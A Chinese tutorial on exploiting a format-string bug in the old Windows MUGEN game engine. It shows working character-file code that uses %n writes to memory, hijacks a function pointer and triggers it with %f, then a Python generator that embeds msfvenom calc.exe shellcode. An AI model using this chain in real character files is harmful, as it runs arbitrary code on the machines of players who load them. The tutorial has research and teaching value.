1. 什么是mugen
mugen是一个PC平台的格斗游戏引擎,许多国家的人为其制作或者移植了非常多的格斗人物,变成了一款及其罕见的超多人制作的大乱斗游戏。
而又因为其win版主程序(2002发布)本身存在漏洞(越界,栈溢出,字符串格式化),这些漏洞被利用起来加强人物杀伤力,导致出现了更罕见的凶恶玩法。
2. %n初步学习
mugen中最出名也是最简单的一个中期凶恶技术,叫做%n,本质上是一个字符串格式化漏洞。
以kfm和winmugen为例,mugen人物的逻辑代码(比如定义一个人物的一个动作,执行这个动作会调用哪些图片,哪个音效,加多少气等等)位于kfm.cns中。
需要先定义一个Statedef(状态号),再在下面写State(状态控制器),感受下如下代码。
; 站重脚
; CNS难度:初级
[Statedef 240]
type = S
movetype= A
physics = S
juggle = 5
poweradd= 30
ctrl = 0
velset = 0,0
anim = 240
sprpriority = 2
[State 240, 1]
type = PlaySnd
trigger1 = Time = 2
value = 0, 1
[State 240, 2]
type = HitDef
trigger1 = Time = 0
attr = S, NA
animtype = Medium
damage = 63
guardflag = MA
pausetime = 12,12
sparkno = 1
sparkxy = -10,-60
hitsound = 5,2
guardsound = 6,0
ground.type = Low
ground.slidetime = 12
ground.hittime = 17
ground.velocity = -6
air.velocity = -2.2,-3.2
[State 240, 3]
type = PosAdd
trigger1 = AnimElem = 7
x = 12
[State 240, 4]
type = ChangeState
trigger1 = AnimTime = 0
value = 0
ctrl = 1
凶恶代码可以写在[Statedef -3]中,因为它是最优先运行的代码,而且每一帧都会运行一次。比如可以写一个简单的加气的代码。
[Statedef -3]
[State 1, add]
type = poweradd
trigger1 = 1
value = 10
简单注释下就是。
type = poweradd; 控制器属性为加气
trigger1 = 1; 无条件执行
value = 10; 每帧+10
做到这些我们就可以来尝试%n了,代码示例如下。
[state 2, %n]
type = DisplayToClipBoard
trigger1 = 1
Text = "%*d%n%d"
params = 48, 0, 4931656
;0x4b4048
很明显,存在漏洞的控制器是DisplayToClipBoard,以及AppendToClipBoard,从控制器名称可以看得出来,这个功能本来是提供给制作者一个可以在剪切板中自由获取值的接口。
具体可见:
http://www.infinitymugenteam.com/infinity.wiki/mediawiki/index.php?title=Sctrl#DisplayToClipboard
它可以给Text设置占位符,同时输入params,就会写4931656(0x4b4048)内存上的值为0x30。任意调试器(od)打开mugen,载入人物进入watch就会发现地址成功被改写。
好吧,这么看来都不需要字符串格式化漏洞那些高端的玩法,直接就是一个任意地址写。
我们来尝试追踪下漏洞代码,由于已经知道了会写0x4b4048,可以下内存写入的断点,可以发现能断在0x496CB6|mov dword ptr ds:[eax],ecx
Crtl+F9步进到retn之后回到0x4713AE,进入程序自定义的方法sub_46E800()。
可以发现,上面的call 004967DF就是call _vsprintf,那么漏洞代码发生在这里。a2和ArgList均可控制,这在pwn中是一个非常明显的字符串格式化漏洞,通过%n可以实现任意地址写。
重新断点在0x4713A9,发现call之前已经完成压栈。
就这样简简单单我们拥有了任意地址写。
3. %n初步利用
有了任意地址写,那么如何利用呢?先实验一个简单的修改当前人物信息的思路。
找到4B5B4C,这个位置存储着mugen主程序绝对路径的指针。
可以发现下方存储着其他mugen相关属性,参考https://qxmugen.com/article/11933.html
这里为了方便区分,弄两个kfm人物包,并且修改name和/displayname
基地址3650048
+CD4,select.def内加载的人物数量
03650D1C 00000002
+F7C,选人界面里,共有多少行
03650FC4 00000007
+B654,P1 name指针
+B658,P2 name指针
0365B69C 0CFC1C78 ASCII "kfm"
0365B6A0 0D7AEAA0 ASCII "kfm2"
0CFC1C78 006D666B kfm.
name指针+30 displayname
0CFC1CA8 676E754B Kung
0CFC1CAC 20754620 Fu
0CFC1CB0 006E614D Man.
如果手动用调试器修改0CFF1CA8地址的值,即可实时修改游戏中的显示的人物名
如果我们拿%n修改人物名或者其他相关属性不就可以达到目的了吗?
但是由于ALSR原因,基地址3650048是不确定的,我们需要从 4B5B4C拿到指针才知道具体的,而%n是无法返回某地址的值的(pwn中的传统字符串格式化漏洞是可以的)。所以我们只能改写那些固定的值,其中就包括按键输出。
https://qxmugen.com/article/13197.html
mugen中F1可以让2P侧快速死亡,因此改写这4B5948/4B594C/4B5548三个地址的值就够了,可以多加一个判断1P/2P的代码,从而决定是否加ctrl(会导致1P死亡)。
https://tieba.baidu.com/p/1234347399
[state ]
type = displaytoclipboard
trigger1 =1
text = "%n %n"
params =4938056,4938060
ignorehitpause =1
[state ]
type = displaytoclipboard
trigger1 =1
text="%*d%n%d"
params = 59, 1, 4937032
ignorehitpause =1
[state ] ;ctrl
type = displaytoclipboard
trigger1 =1
text="%.*d%n%d"
params = ifelse(teamside = 1,0,1),0,4942237
ignorehitpause =1
4. %f利用
通过上述利用发现%n有个很大的缺点是只能任意地址写,不能任意地址读,因为DisplayToClipBoard和AppendToClipBoard本意是将debug信息复制到剪切板里的。因为现代电脑系统都有着ALSR保护,一些地址都是随机的,没有读我们就无法直接去写那些地址。
在pwn题中有个经典的利用方法就是劫持got表,mugen中应该劫持哪个got呢?%f给了我们答案。
参考Duang-Hell人物的12P.cns中的%f代码,一共分为三步。
1,%n技术在4B48E8地址写入4B4000
2,%n技术在4B4000地址写汇编
3,%f技术执行代码
毫无疑问,这一看就是got表劫持的漏洞利用方式,先看4B48E8上放了什么。
496651是什么呢?__cfltcvt()
%f是如何调用__cfltcvt()的呢?加入%f代码,用之前同样的跳到retn动态调试后,可以发现熟悉的调用链。
[state 3, %f]
type = DisplayToClipboard
trigger1 = 1
text = "%f"
params = pos X
sub_46E800()——vsprintf()——_output()——off_4B48E8()——__cfltcvt()
那么%f本质上就是先用%n劫持了__cfltcvt()的got表,改写到4B4000,然后在4B4000地址上写入恶意汇编,最后%f触发之。
当然,mugen中一定还存在很多其他got表劫持的办法,但%f可以更加稳定和安全的触发。
我们先执行最简单的汇编,0x90也就是NOP。
;在4B48E8上写入4B4000
[state 1,004B4000 00]
type = displaytoclipboard
trigger1 = 1
text = "%.*d%n%d"
params = 0, 0, 4933864 ;hex 4B48E8
ignorehitpause = 1
[state 1,004B4001 40]
type = displaytoclipboard
trigger1 = 1
text = "%.*d%n%d"
params = 64, 0, 4933865
ignorehitpause = 1
[state 1,004B4002 4B]
type = displaytoclipboard
trigger1 = 1
text = "%.*d%n%d"
params = 75, 0, 4933866
ignorehitpause = 1
;在4B4000上填充4个NOP
[state 2, NOP]
type = displaytoclipboard
trigger1 = 1
text = "%.*d%n%d"
params = 144, 0, 4931584 ; 0x004B4000
ignorehitpause = 1
[state 2, NOP]
type = displaytoclipboard
trigger1 = 1
text = "%.*d%n%d"
params = 144, 0, 4931585
ignorehitpause = 1
[state 2, NOP]
type = displaytoclipboard
trigger1 = 1
text = "%.*d%n%d"
params = 144, 0, 4931586
ignorehitpause = 1
[state 2, NOP]
type = displaytoclipboard
trigger1 = 1
text = "%.*d%n%d"
params = 144, 0, 4931587
ignorehitpause = 1
;%f执行
[state 3, %f]
type = DisplayToClipboard
trigger1 = 1
text = "%f"
params = pos X
我们在4713A9(call _vsprintf)下断点然后F9,可以清晰的看到依次利用%n改写内存。如下图,4B48E8改写完成,开始改写4B4000。
当4B48E8和4B4000都改写完成后,最后一次vsprintf执行%f。
此时断点4B4000,F9后发现NOP被成功执行。
那么就可以利用汇编做任何想做的事,在mugen中通常指击杀对方人物,这需要对mugen地址的研究,我这里就用一个弹计算器的shellcode,并且写好生成cns代码的python3脚本。
msfvenom -p windows/exec cmd="calc.exe" exitfunc=thread -b "\x00" -f python
buf = b""
buf += b"\xbf\x3b\xfe\x50\xe7\xdb\xd9\xd9\x74\x24\xf4\x58\x33"
buf += b"\xc9\xb1\x31\x83\xc0\x04\x31\x78\x0f\x03\x78\x34\x1c"
buf += b"\xa5\x1b\xa2\x62\x46\xe4\x32\x03\xce\x01\x03\x03\xb4"
buf += b"\x42\x33\xb3\xbe\x07\xbf\x38\x92\xb3\x34\x4c\x3b\xb3"
buf += b"\xfd\xfb\x1d\xfa\xfe\x50\x5d\x9d\x7c\xab\xb2\x7d\xbd"
buf += b"\x64\xc7\x7c\xfa\x99\x2a\x2c\x53\xd5\x99\xc1\xd0\xa3"
buf += b"\x21\x69\xaa\x22\x22\x8e\x7a\x44\x03\x01\xf1\x1f\x83"
buf += b"\xa3\xd6\x2b\x8a\xbb\x3b\x11\x44\x37\x8f\xed\x57\x91"
buf += b"\xde\x0e\xfb\xdc\xef\xfc\x05\x18\xd7\x1e\x70\x50\x24"
buf += b"\xa2\x83\xa7\x57\x78\x01\x3c\xff\x0b\xb1\x98\xfe\xd8"
buf += b"\x24\x6a\x0c\x94\x23\x34\x10\x2b\xe7\x4e\x2c\xa0\x06"
buf += b"\x81\xa5\xf2\x2c\x05\xee\xa1\x4d\x1c\x4a\x07\x71\x7e"
buf += b"\x35\xf8\xd7\xf4\xdb\xed\x65\x57\xb1\xf0\xf8\xed\xf7"
buf += b"\xf3\x02\xee\xa7\x9b\x33\x65\x28\xdb\xcb\xac\x0d\x03"
buf += b"\x2e\x65\x7b\xac\xf7\xec\xc6\xb1\x07\xdb\x04\xcc\x8b"
buf += b"\xee\xf4\x2b\x93\x9a\xf1\x70\x13\x76\x8b\xe9\xf6\x78"
buf += b"\x38\x09\xd3\x1a\xdf\x99\xbf\xf2\x7a\x1a\x25\x0b"
payload = ""
addr = 4931584
for i in list(buf):
payload += '''[state 2, shellcode]
type = displaytoclipboard
trigger1 = 1
text = "%.*d%n%d"
params = {}, 0, {}
ignorehitpause = 1
'''.format(i,addr)
addr += 1
print(payload)
f = open("1.txt",'w')
f.write(payload)
f.close()
结果如下。